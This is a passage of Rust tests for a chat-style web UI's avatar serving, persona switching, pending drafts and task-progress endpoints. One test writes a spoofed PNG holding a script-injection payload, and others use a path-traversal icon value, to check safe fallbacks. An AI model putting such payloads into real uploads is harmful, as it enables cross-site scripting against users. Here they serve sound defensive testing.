14833 Questions::at(home.path().join("questions")),
14834 Talks::at(home.path().join("talks")),
14835 home.path().join("runs"),
14836 home.path().to_path_buf(),
14837 repo,
14838 ));
14839 assert_eq!(
14840 magi_icon_get(State(restarted.clone())).await.0["avatar"],
14841 changed
14842 );
14843 let view = TalkView::with_config(
14844 restarted.talks.get(&id).unwrap(),
14845 false,
14846 None,
14847 &restarted.home,
14848 &restarted.references,
14849 );
14850 assert_eq!(view.magi_avatar, changed.as_str().unwrap());
14851 std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
14852 let response = magi_avatar(
14853 State(ui.clone()),
14854 Query(AvatarQuery {
14855 persona: None,
14856 builtin: None,
14857 }),
14858 )
14859 .await;
14860 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
14861 .await
14862 .unwrap();
14863 assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
14864 let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
14865 assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
14866 let _ = magi_icon_delete(State(ui)).await.unwrap();
14867 }
14868
14869 async fn avatar(
14871 ui: &Arc<Ui>,
14872 id: &str,
14873 persona: Option<&str>,
14874 builtin: bool,
14875 ) -> (StatusCode, String, bool, bool, Vec<u8>) {
14876 let res = talk_avatar(
14877 State(Arc::clone(ui)),
14878 Path(id.to_owned()),
14879 Query(AvatarQuery {
14880 persona: persona.map(str::to_owned),
14881 builtin: builtin.then(|| "1".to_owned()),
14882 }),
14883 )
14884 .await
14885 .expect("an avatar is never an error response");
14886 let h = res.headers();
14887 let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
14888 let nosniff = h
14889 .get(header::X_CONTENT_TYPE_OPTIONS)
14890 .is_some_and(|v| v == "nosniff");
14891 let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
14892 let status = res.status();
14893 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14894 .await
14895 .expect("body")
14896 .to_vec();
14897 (status, ct, nosniff, csp, body)
14898 }
14899
14900 fn tiny_png() -> Vec<u8> {
14901 let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
14902 b.extend_from_slice(&[0u8; 32]);
14903 b
14904 }
14905
14906 #[tokio::test]
14907 async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
14908 let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
14909 let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
14910 assert_eq!(res.status(), StatusCode::OK);
14911 assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
14912 assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
14913 assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
14914 assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
14915 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14916 .await
14917 .unwrap();
14918 assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
14919 assert_ne!(
14920 persona_icon::operator_svg(),
14921 persona_icon::builtin_svg("default")
14922 );
14923 }
14924
14925 #[tokio::test]
14926 async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
14927 let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
14928 for p in [
14929 "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
14930 ] {
14931 let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
14932 assert_eq!(status, StatusCode::OK, "{p}");
14933 assert_eq!(ct, "image/svg+xml", "{p}");
14934 assert!(nosniff && csp, "{p}");
14935 assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
14936 }
14937 let own = avatar(&ui, &id, None, false).await;
14939 let default = avatar(&ui, &id, Some("default"), false).await;
14940 assert_eq!(own.4, default.4);
14941 let unknown = avatar(&ui, &id, Some("nobody"), false).await;
14942 assert_eq!(unknown.1, "image/svg+xml");
14943 }
14944
14945 #[tokio::test]
14946 async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
14947 let dir = TempDir::new().expect("icons");
14948 let good = dir.path().join("good.png");
14949 std::fs::write(&good, tiny_png()).unwrap();
14950 let spoof = dir.path().join("spoof.png");
14951 std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
14952 let big = dir.path().join("big.png");
14953 let mut bytes = tiny_png();
14954 bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
14955 std::fs::write(&big, bytes).unwrap();
14956 let missing = dir.path().join("missing.png");
14957 let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
14958 let extra = format!(
14959 "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
14960 [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
14961 [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
14962 [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
14963 [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
14964 [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
14965 uri(&good),
14966 uri(&spoof),
14967 uri(&big),
14968 uri(&missing),
14969 );
14970 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14971
14972 let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
14973 assert_eq!(
14974 (status, ct.as_str(), nosniff),
14975 (StatusCode::OK, "image/png", true)
14976 );
14977 assert_eq!(body, tiny_png());
14978 let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
14979 assert_eq!(ct, "image/png", "data URI");
14980
14981 for p in ["misato", "asuka", "shinji", "magi"] {
14982 let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
14983 assert_eq!(
14984 (status, ct.as_str(), csp),
14985 (StatusCode::OK, "image/svg+xml", true),
14986 "{p}"
14987 );
14988 assert!(body.starts_with(b"<svg"), "{p}");
14989 }
14990 let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
14992 assert_eq!(ct, "image/svg+xml");
14993 }
14994
14995 #[tokio::test]
14996 async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
14997 let oversized = format!(
14998 "data:image/png;base64,{}",
14999 "A".repeat(persona_icon::ICON_MAX_BYTES)
15000 );
15001 for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
15002 let extra = format!(
15003 "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
15004 );
15005 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
15006 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15007 .await
15008 .expect("detail with invalid icon");
15009 assert!(detail.personas.iter().any(|p| p.id == "custom"));
15010 let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
15011 assert_eq!(status, StatusCode::OK);
15012 assert_eq!(ct, "image/svg+xml");
15013 assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
15014 let Json(view) = talk_persona(
15015 State(Arc::clone(&ui)),
15016 Path(id.clone()),
15017 Json(TalkPersona {
15018 persona: "custom".into(),
15019 }),
15020 )
15021 .await
15022 .expect("persona switch with invalid icon");
15023 assert_eq!(view.talk.persona, "custom");
15024 assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
15025 }
15026 }
15027
15028 #[tokio::test]
15029 async fn an_unreadable_config_still_gets_the_builtin_avatar() {
15030 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
15031 std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
15032 let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
15033 assert_eq!(
15034 (status, ct.as_str(), nosniff, csp),
15035 (StatusCode::OK, "image/svg+xml", true, true)
15036 );
15037 }
15038
15039 #[tokio::test]
15040 async fn the_talk_view_carries_server_built_avatar_urls_only() {
15041 let (_t, _h, ui, id, _repo) =
15042 avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
15043 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15044 .await
15045 .expect("detail");
15046 let json = serde_json::to_string(&detail).unwrap();
15047 assert!(
15048 !json.contains("secret"),
15049 "the icon setting must not leak: {json}"
15050 );
15051 assert!(
15052 detail
15053 .view
15054 .persona_avatar
15055 .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
15056 );
15057 assert_eq!(
15058 detail.view.operator_avatar,
15059 format!(
15060 "/avatars/operator.svg?v={}",
15061 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
15062 )
15063 );
15064 assert!(!detail.personas.iter().any(|p| p.id == "operator"));
15065 let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
15066 let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
15067 assert!(rei.avatar.contains("persona=rei&v="));
15068 assert_ne!(
15069 rei.avatar.split("&v=").nth(1),
15070 plain.avatar.split("&v=").nth(1)
15071 );
15072 }
15073
15074 #[tokio::test]
15075 async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
15076 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
15077 let cfg = config_for(&repo).await.unwrap();
15078 for arrived in [false, true] {
15079 let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
15080 let observed = ui.queued_generation(&id);
15081 let talk = ui.talks.get(&id).unwrap();
15082 if arrived {
15083 assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
15084 }
15085 let mut settling = std::pin::pin!(settle_settings_turn(
15086 talk,
15087 ui.talks.clone(),
15088 cfg.clone(),
15089 id.clone(),
15090 turn,
15091 observed
15092 ));
15093 let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
15094 let first = std::future::Future::poll(settling.as_mut(), &mut cx);
15095 assert_eq!(first.is_pending(), arrived);
15096 if arrived {
15097 assert!(!settling.await);
15098 }
15099 assert!(!ui.is_thinking(&id));
15100 }
15101 }
15102
15103 #[tokio::test]
15104 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
15105 let tmp = TempDir::new().expect("tempdir");
15106 let repo = tmp.path().join("repo");
15107 std::fs::create_dir_all(&repo).expect("repo dir");
15108 std::fs::write(
15109 repo.join("magi.toml"),
15110 format!(
15111 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
15112 ),
15113 )
15114 .expect("write magi.toml");
15115 let home = TempDir::new().expect("temp home");
15116 let talks = Talks::at(home.path().join("talks"));
15117 let ui = Arc::new(
15118 Ui::new(
15119 Queue::at(home.path().join("queue")),
15120 Questions::at(home.path().join("questions")),
15121 talks.clone(),
15122 home.path().join("runs"),
15123 home.path().to_path_buf(),
15124 repo.clone(),
15125 )
15126 .with_worktrees_root(home.path().join("wt")),
15127 );
15128 let cfg = config_for(&repo).await.expect("discover config");
15129 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15130 let id = talk.id.clone();
15131 let call = |persona: &str| {
15132 talk_persona(
15133 State(Arc::clone(&ui)),
15134 Path(id.clone()),
15135 Json(TalkPersona {
15136 persona: persona.to_owned(),
15137 }),
15138 )
15139 };
15140
15141 let unknown = call("nobody").await.expect_err("unknown persona");
15142 assert_eq!(
15143 unknown.status,
15144 StatusCode::BAD_REQUEST,
15145 "{}",
15146 unknown.message
15147 );
15148
15149 {
15150 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
15153 let busy = call("rei").await.expect_err("busy talk");
15154 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
15155 assert!(
15156 busy.message.contains("a talk turn is running"),
15157 "{}",
15158 busy.message
15159 );
15160 drop(guard);
15161 }
15162 assert_eq!(talks.get(&id).expect("reload").persona, "");
15163
15164 let Json(view) = call("gendo").await.expect("switch to a configured persona");
15165 assert_eq!(view.talk.persona, "gendo");
15166 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
15167 assert!(!ui.is_thinking(&id), "idle response must release the claim");
15168 for chosen in ["default", "gendo", "rei", "gendo"] {
15170 let Json(view) = call(chosen).await.expect("immediate consecutive change");
15171 assert!(!view.thinking);
15172 assert!(!ui.is_thinking(&id));
15173 }
15174
15175 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15176 .await
15177 .expect("detail");
15178 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
15179 assert_eq!(ids.first(), Some(&"default"));
15180 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
15181
15182 let Json(view) = call("default").await.expect("back to default");
15183 assert_eq!(view.talk.persona, "");
15184
15185 let mut closed = talks.get(&id).expect("reload");
15186 talk::close(&mut closed, &talks).expect("close");
15187 let refused = call("rei").await.expect_err("closed talk");
15188 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
15189 assert!(
15190 refused.message.contains("takes no more turns"),
15191 "{}",
15192 refused.message
15193 );
15194 }
15195
15196 #[tokio::test]
15197 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
15198 let f = Fixture::start().await;
15199 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
15200 let queue = f.queue();
15201 let mut mine = Task::new(
15202 "rename the loader".to_owned(),
15203 "rename the loader".to_owned(),
15204 PathBuf::from("/repo/magi"),
15205 Source::Agent {
15206 run: talk_id.clone(),
15207 node: "chat".to_owned(),
15208 },
15209 );
15210 let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
15211 assert_eq!(empty["task_progress"]["state"], "none");
15212 assert_eq!(empty["task_progress"]["total"], 0);
15213 queue.put(&mut mine).expect("file the task");
15214 let mut theirs = Task::new(
15215 "unrelated".to_owned(),
15216 "unrelated".to_owned(),
15217 PathBuf::from("/repo/magi"),
15218 Source::Human,
15219 );
15220 theirs.origin_chat = Some(talk_id.clone());
15222 queue.put(&mut theirs).expect("file the task");
15223
15224 let res = f.get(&format!("/api/talks/{talk_id}")).await;
15225 assert_eq!(res.status, 200, "{}", res.body);
15226 let body = res.json();
15227 assert_eq!(
15228 body["status"], "open",
15229 "filing a task does not close a talk"
15230 );
15231 let tasks = body["tasks"].as_array().expect("tasks array");
15232 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
15233 assert_eq!(tasks[0]["id"], mine.id);
15234 for status in [
15235 TaskStatus::Queued,
15236 TaskStatus::Running,
15237 TaskStatus::Held,
15238 TaskStatus::Failed,
15239 TaskStatus::Blocked,
15240 TaskStatus::Parked,
15241 TaskStatus::Done,
15242 TaskStatus::Queued,
15243 ] {
15244 mine.status = status;
15245 queue.put(&mut mine).expect("update status");
15246 let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
15247 let progress = &detail["task_progress"];
15248 assert_eq!(progress["total"], 1);
15249 assert_eq!(progress["counts"][status.as_str()], 1);
15250 assert_eq!(detail["tasks"][0]["status"], status.as_str());
15251 assert_eq!(detail["status"], "open", "completion never closes the chat");
15252 if status == TaskStatus::Done {
15253 assert_eq!(progress["state"], "complete");
15254 assert_eq!(progress["done"], 1);
15255 assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
15256 } else {
15257 assert_eq!(progress["state"], "incomplete");
15258 assert_eq!(progress["done"], 0);
15259 assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
15260 }
15261 }
15262 }
15263
15264 #[test]
15265 fn talk_task_progress_counts_mixed_statuses() {
15266 let mut tasks: Vec<_> = [
15267 TaskStatus::Queued,
15268 TaskStatus::Running,
15269 TaskStatus::Held,
15270 TaskStatus::Failed,
15271 TaskStatus::Blocked,
15272 TaskStatus::Parked,
15273 TaskStatus::Done,
15274 ]
15275 .into_iter()
15276 .map(|status| {
15277 let mut task = Task::new(
15278 "task".into(),
15279 "task".into(),
15280 PathBuf::from("/repo"),
15281 Source::Human,
15282 );
15283 task.status = status;
15284 task
15285 })
15286 .collect();
15287 let progress = talk_task_progress(&tasks);
15288 assert_eq!(progress.state, "incomplete");
15289 assert_eq!(progress.total, 7);
15290 assert_eq!(progress.done, 1);
15291 assert_eq!(progress.unfinished_ids.len(), 6);
15292 assert!(progress.counts.values().all(|count| *count == 1));
15293 assert_eq!(
15294 progress.unfinished_ids,
15295 tasks[..6]
15296 .iter()
15297 .map(|task| task.id.clone())
15298 .collect::<Vec<_>>()
15299 );
15300
15301 for task in &mut tasks {
15302 task.status = TaskStatus::Done;
15303 }
15304 let complete = talk_task_progress(&tasks);
15305 assert_eq!(complete.state, "complete");
15306 assert_eq!(complete.done, 7);
15307 assert!(complete.unfinished_ids.is_empty());
15308 tasks[0].status = TaskStatus::Queued;
15309 let requeued = talk_task_progress(&tasks);
15310 assert_eq!(requeued.state, "incomplete");
15311 assert_eq!(requeued.done, 6);
15312 assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
15313
15314 let empty = talk_task_progress(&[]);
15315 assert_eq!(empty.state, "none");
15316 assert_eq!(empty.total, 0);
15317 assert_eq!(empty.done, 0);
15318 assert!(empty.unfinished_ids.is_empty());
15319 assert!(empty.counts.values().all(|count| *count == 0));
15320 }
15321
15322 #[tokio::test]
15323 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
15324 let (_tmp, _repo, f) = talk_fixture().await;
15325 let id = f.post("/api/talks", None).await.json()["id"]
15326 .as_str()
15327 .expect("id")
15328 .to_owned();
15329
15330 let res = f
15331 .post(
15332 &format!("/api/talks/{id}/say"),
15333 Some(r#"{"text":"what does the queue module do?"}"#),
15334 )
15335 .await;
15336 assert_eq!(res.status, 202, "{}", res.body);
15337 let queued = res.json();
15338 let turns = queued["turns"].as_array().expect("turns array");
15339 assert_eq!(
15340 turns.len(),
15341 1,
15342 "the answer reflects only what is on disk the instant it is sent, \
15343 before the agent's turn - which can run for the whole of \
15344 `[graph] timeout_talk` - has a chance to land: {queued}"
15345 );
15346 assert_eq!(turns[0]["who"], "operator");
15347 assert_eq!(turns[0]["body"], "what does the queue module do?");
15348 assert_eq!(
15349 queued["thinking"], true,
15350 "the accepted response exposes the background turn claim: {queued}"
15351 );
15352
15353 let mut turns_after = 1;
15354 for _ in 0..SETTLE_STEPS {
15355 let detail = f.get(&format!("/api/talks/{id}")).await.json();
15356 turns_after = detail["turns"].as_array().expect("turns array").len();
15357 if turns_after == 2 {
15358 break;
15359 }
15360 tokio::time::sleep(Duration::from_millis(10)).await;
15361 }
15362 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
15363 }
15364
15365 #[tokio::test]
15392 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
15393 let tmp = TempDir::new().expect("tempdir");
15394 let repo = tmp.path().join("repo");
15395 std::fs::create_dir_all(&repo).expect("repo dir");
15396 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15397 let home = TempDir::new().expect("temp home");
15398 let talks = Talks::at(home.path().join("talks"));
15399 let ui = Arc::new(
15400 Ui::new(
15401 Queue::at(home.path().join("queue")),
15402 Questions::at(home.path().join("questions")),
15403 talks.clone(),
15404 home.path().join("runs"),
15405 home.path().to_path_buf(),
15406 repo.clone(),
15407 )
15408 .with_worktrees_root(home.path().join("wt")),
15409 );
15410 let cfg = config_for(&repo).await.expect("discover config");
15411
15412 for delay in 0..40u32 {
15413 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
15414 let id = talk.id.clone();
15415
15416 let handler = tokio::spawn(talk_say(
15417 State(Arc::clone(&ui)),
15418 Path(id.clone()),
15419 Ok(Json(NewTalkTurn {
15420 reply_to: None,
15421 text: "what does the queue module do?".to_owned(),
15422 attachments: Vec::new(),
15423 })),
15424 ));
15425 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
15426 handler.abort();
15427 let _ = handler.await;
15430
15431 let mut turns = 0;
15432 for _ in 0..SETTLE_STEPS {
15433 if let Ok(fresh) = talks.get(&id) {
15434 turns = fresh.turns.len();
15435 if turns != 1 {
15436 break;
15437 }
15438 }
15439 tokio::time::sleep(Duration::from_millis(10)).await;
15440 }
15441 assert_ne!(
15442 turns, 1,
15443 "delay {delay}: talk {id} recorded the operator's turn but \
15444 the agent never answered - the reply task was never \
15445 started after the handler future was dropped"
15446 );
15447 }
15448 }
15449
15450 #[tokio::test]
15495 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
15496 let tmp = TempDir::new().expect("tempdir");
15497 let repo = tmp.path().join("repo");
15498 std::fs::create_dir_all(&repo).expect("repo dir");
15499 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15500 let home = TempDir::new().expect("temp home");
15501 let talks = Talks::at(home.path().join("talks"));
15502 let ui = Arc::new(
15503 Ui::new(
15504 Queue::at(home.path().join("queue")),
15505 Questions::at(home.path().join("questions")),
15506 talks.clone(),
15507 home.path().join("runs"),
15508 home.path().to_path_buf(),
15509 repo.clone(),
15510 )
15511 .with_worktrees_root(home.path().join("wt")),
15512 );
15513 let cfg = config_for(&repo).await.expect("discover config");
15514
15515 for attempt in 0..3u32 {
15516 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
15517 let id = talk.id.clone();
15518 let turn_guard = ui
15521 .begin_talk_turn(&id)
15522 .expect("claim the turn")
15523 .expect("a fresh talk owes nobody a turn");
15524
15525 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
15526 let (release_tx, release_rx) = std::sync::mpsc::channel();
15527 ui.set_busy_queue_gate(BusyQueueGate {
15528 reached: reached_tx,
15529 release: release_rx,
15530 });
15531
15532 let handler = tokio::spawn(talk_say(
15533 State(Arc::clone(&ui)),
15534 Path(id.clone()),
15535 Ok(Json(NewTalkTurn {
15536 reply_to: None,
15537 text: "what does the queue module do?".to_owned(),
15538 attachments: Vec::new(),
15539 })),
15540 ));
15541
15542 tokio::time::timeout(Duration::from_secs(5), reached_rx)
15547 .await
15548 .unwrap_or_else(|_| {
15549 panic!(
15550 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
15551 )
15552 })
15553 .expect("the busy branch dropped the gate without using it");
15554 assert!(
15555 crate::consult::try_publication_guard(&talks, &id)
15556 .expect("publication fence")
15557 .is_none(),
15558 "a queued worker cannot promote text before its successor reservation is published"
15559 );
15560
15561 let closing = Arc::clone(&ui.admissions).write_owned();
15565 tokio::pin!(closing);
15566 std::future::poll_fn(|cx| {
15567 assert!(closing.as_mut().poll(cx).is_pending());
15568 std::task::Poll::Ready(())
15569 })
15570 .await;
15571 assert!(
15572 ui.begin_admission().is_err(),
15573 "replacement blocks later admissions"
15574 );
15575
15576 let running = talks.get(&id).expect("reload talk");
15583 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
15584
15585 handler.abort();
15589 let _ = handler.await;
15590 std::future::poll_fn(|cx| {
15591 assert!(
15592 closing.as_mut().poll(cx).is_pending(),
15593 "HTTP cancellation must not abandon a publishing transaction"
15594 );
15595 std::task::Poll::Ready(())
15596 })
15597 .await;
15598 assert!(
15599 crate::consult::try_publication_guard(&talks, &id)
15600 .expect("publication fence after disconnect")
15601 .is_none()
15602 );
15603
15604 let _ = release_tx.send(());
15610 drop(
15611 tokio::time::timeout(Duration::from_secs(5), closing)
15612 .await
15613 .expect("short admission transaction should release for replacement"),
15614 );
15615 assert!(
15616 crate::consult::try_publication_guard(&talks, &id)
15617 .expect("publication fence after acknowledgement")
15618 .is_some(),
15619 "the publication fence is not retained by the long response"
15620 );
15621
15622 let mut fresh = talks.get(&id).expect("reload talk");
15625 for _ in 0..SETTLE_STEPS {
15626 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
15627 break;
15628 }
15629 tokio::time::sleep(Duration::from_millis(10)).await;
15630 fresh = talks.get(&id).expect("reload talk");
15631 }
15632 assert!(
15633 fresh.pending.is_empty() && fresh.turns.len() == 2,
15634 "attempt {attempt}: talk {id} left the operator's text queued \
15635 with no drainer - the reclaimed turn was dropped along with \
15636 the handler future (pending {:?}, {} turns)",
15637 fresh.pending,
15638 fresh.turns.len()
15639 );
15640 }
15641 }
15642
15643 #[tokio::test]
15644 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
15645 let (_tmp, _repo, f) = talk_fixture().await;
15646 let id = f.post("/api/talks", None).await.json()["id"]
15647 .as_str()
15648 .expect("id")
15649 .to_owned();
15650 let store = f.talks();
15651 let mut recovered = store.get(&id).expect("opened talk");
15652 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
15653 .expect("persist pending draft without a live turn");
15654
15655 let edited = f
15656 .post(
15657 &format!("/api/talks/{id}/pending/edit"),
15658 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
15659 )
15660 .await;
15661 assert_eq!(edited.status, 200, "{}", edited.body);
15662 assert!(edited.json()["thinking"].as_bool().unwrap());
15663
15664 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
15665 for _ in 0..SETTLE_STEPS {
15666 if detail["turns"].as_array().expect("turns").len() == 2 {
15667 break;
15668 }
15669 tokio::time::sleep(Duration::from_millis(10)).await;
15670 detail = f.get(&format!("/api/talks/{id}")).await.json();
15671 }
15672 let turns = detail["turns"].as_array().expect("turns");
15673 assert_eq!(
15674 turns.len(),
15675 2,
15676 "the recovered draft must run once: {detail}"
15677 );
15678 assert_eq!(turns[0]["body"], "corrected");
15679 assert_eq!(detail["pending"], "");
15680 }
15681
15682 #[tokio::test]
15683 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
15684 let tmp = TempDir::new().expect("tempdir");
15685 let repo = tmp.path().join("repo");
15686 std::fs::create_dir_all(&repo).expect("repo dir");
15687 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
15688 let f = Fixture::with_repo(repo).await;
15689 let id = f.post("/api/talks", None).await.json()["id"]
15690 .as_str()
15691 .expect("id")
15692 .to_owned();
15693 let store = f.talks();
15694 let mut recovered = store.get(&id).expect("opened talk");
15695 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
15696 .expect("persist pending draft without a live turn");
15697
15698 let refused = f
15699 .post(
15700 &format!("/api/talks/{id}/say"),
15701 Some(r#"{"text":"new message"}"#),
15702 )
15703 .await;
15704 assert_eq!(refused.status, 409, "{}", refused.body);
15705 assert!(refused.body.contains("resume"), "{}", refused.body);
15706 let saved = store.get(&id).expect("draft remains after refusal");
15707 assert!(saved.turns.is_empty());
15708 assert_eq!(saved.pending, "saved before restart");
15709
15710 let say_path = format!("/api/talks/{id}/say");
15711 let (first, second) = tokio::join!(
15712 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
15713 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
15714 );
15715 assert_eq!(first.status, 409, "{}", first.body);
15716 assert_eq!(second.status, 409, "{}", second.body);
15717 let saved = store
15718 .get(&id)
15719 .expect("draft remains after concurrent refusals");
15720 assert!(saved.turns.is_empty());
15721 assert_eq!(saved.pending, "saved before restart");
15722
15723 let resumed = f
15724 .post(&format!("/api/talks/{id}/pending/resume"), None)
15725 .await;
15726 assert_eq!(resumed.status, 202, "{}", resumed.body);
15727 let duplicate = f
15728 .post(&format!("/api/talks/{id}/pending/resume"), None)
15729 .await;
15730 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
15731
15732 for _ in 0..SETTLE_STEPS {
15733 if store.get(&id).expect("talk").turns.len() == 2 {
15734 break;
15735 }
15736 tokio::time::sleep(Duration::from_millis(10)).await;
15737 }
15738 let finished = store.get(&id).expect("finished talk");
15739 assert_eq!(finished.turns.len(), 2, "{finished:?}");
15740 assert_eq!(finished.turns[0].body, "saved before restart");
15741 assert!(finished.pending.is_empty());
15742 }
15743
15744 #[tokio::test]
15745 async fn an_image_only_recovered_draft_resumes_without_text() {
15746 let (_tmp, _repo, f) = talk_fixture().await;
15747 let id = f.post("/api/talks", None).await.json()["id"]
15748 .as_str()
15749 .expect("id")
15750 .to_owned();
15751 let uploaded = f
15752 .post_bytes(
15753 &format!("/api/talks/{id}/attachments"),
15754 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
15755 PNG_BYTES,
15756 )
15757 .await;
15758 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15759 let attachment = f
15760 .talks()
15761 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
15762 .expect("attachment metadata")
15763 .expect("stored attachment");
15764 let store = f.talks();
15765 let mut recovered = store.get(&id).expect("opened talk");
15766 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
15767
15768 let resumed = f
15769 .post(&format!("/api/talks/{id}/pending/resume"), None)
15770 .await;
15771 assert_eq!(resumed.status, 202, "{}", resumed.body);
15772 for _ in 0..SETTLE_STEPS {
15773 if store.get(&id).expect("talk").turns.len() == 2 {
15774 break;
15775 }
15776 tokio::time::sleep(Duration::from_millis(10)).await;
15777 }
15778 let finished = store.get(&id).expect("finished talk");
15779 assert_eq!(finished.turns.len(), 2, "{finished:?}");
15780 assert!(finished.turns[0].body.is_empty());
15781 assert_eq!(finished.turns[0].attachments.len(), 1);
15782 assert!(finished.pending_attachments.is_empty());
15783 }
15784
15785 #[tokio::test]
15786 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
15787 let (_tmp, _repo, f) = talk_fixture().await;
15788 let id = f.post("/api/talks", None).await.json()["id"]
15789 .as_str()
15790 .expect("id")
15791 .to_owned();
